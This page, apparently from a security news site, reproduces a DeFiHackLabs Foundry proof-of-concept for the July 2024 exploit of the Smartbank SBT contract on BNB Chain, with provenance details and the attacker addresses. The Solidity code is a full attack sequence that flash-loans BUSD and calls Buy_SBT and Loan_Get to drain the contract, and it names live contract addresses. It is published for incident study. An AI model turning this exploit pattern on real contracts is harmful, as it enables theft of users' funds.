Skip to content
THREATWIRE

Public reproduction file

src/test/2024-07/SBT_exp.sol

Public reproduction file for dataset entry SBT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-07/SBT_exp.sol52 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~56K BUSD
5// TX : https://app.blocksec.com/explorer/tx/bsc/0x9a8c4c4edb7a76ecfa935780124c409f83a08d15c560bb67302182f8969be20d
6// Attacker : https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
7// Attack Contract : https://bscscan.com/address/0x88f9e1799465655f0dd206093dbd08922a1d9e28
8
9
10import "forge-std/Test.sol";
11import "./../interface.sol";
13interface Smartbank {
14 function _Start() external;
15 function Buy_SBT(
16 uint256 _SBT_
17 ) external;
18 function Loan_Get(
19 uint256 USDT_
20 ) external;
23contract ContractTest is Test {
24 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
25 IERC20 SBT = IERC20(0x94441698165fB7e132e207800B3eA57E34c93a72);
26 Smartbank Bank = Smartbank(0x2b45DD1d909c01aAd96fa6b67108D691B432f351);
27 Uni_Pair_V3 Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
29 function setUp() public {
30 vm.createSelectFork("bsc", 40_378_160 - 1);
31 deal(address(BUSD), address(this), 1 ether);
32 }
34 function testExploit() public {
35 emit log_named_decimal_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)), 18);
36 Pool.flash(address(this), 1_950_000 ether, 0, "0x123");
37 emit log_named_decimal_uint("Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), 18);
38 }
40 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
41 BUSD.approve(address(Bank), type(uint256).max);
42 BUSD.transfer(address(Bank), 950_000 ether);
43 SBT.approve(address(Bank), type(uint256).max);
44 Bank._Start();
45 Bank.Buy_SBT(20_000_000);
46 Bank.Loan_Get(1_966_930);
48 BUSD.transfer(address(Pool), 1_950_000 ether + fee0);
49 }
51 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “SBT” (2024-07-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x3026c464d3bd6ef0ced0d49e80f171b58176ce32

  • Attack Contract

    0x88f9e1799465655f0dd206093dbd08922a1d9e28

File record

Name
SBT
Path
src/test/2024-07/SBT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
3aaa77054169c778014b5e17f91cd55370459124
Language
Solidity
Size
53 lines
Date
2024-07-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-07/SBT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3aaa77054169c778014b5e17f91cd55370459124, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.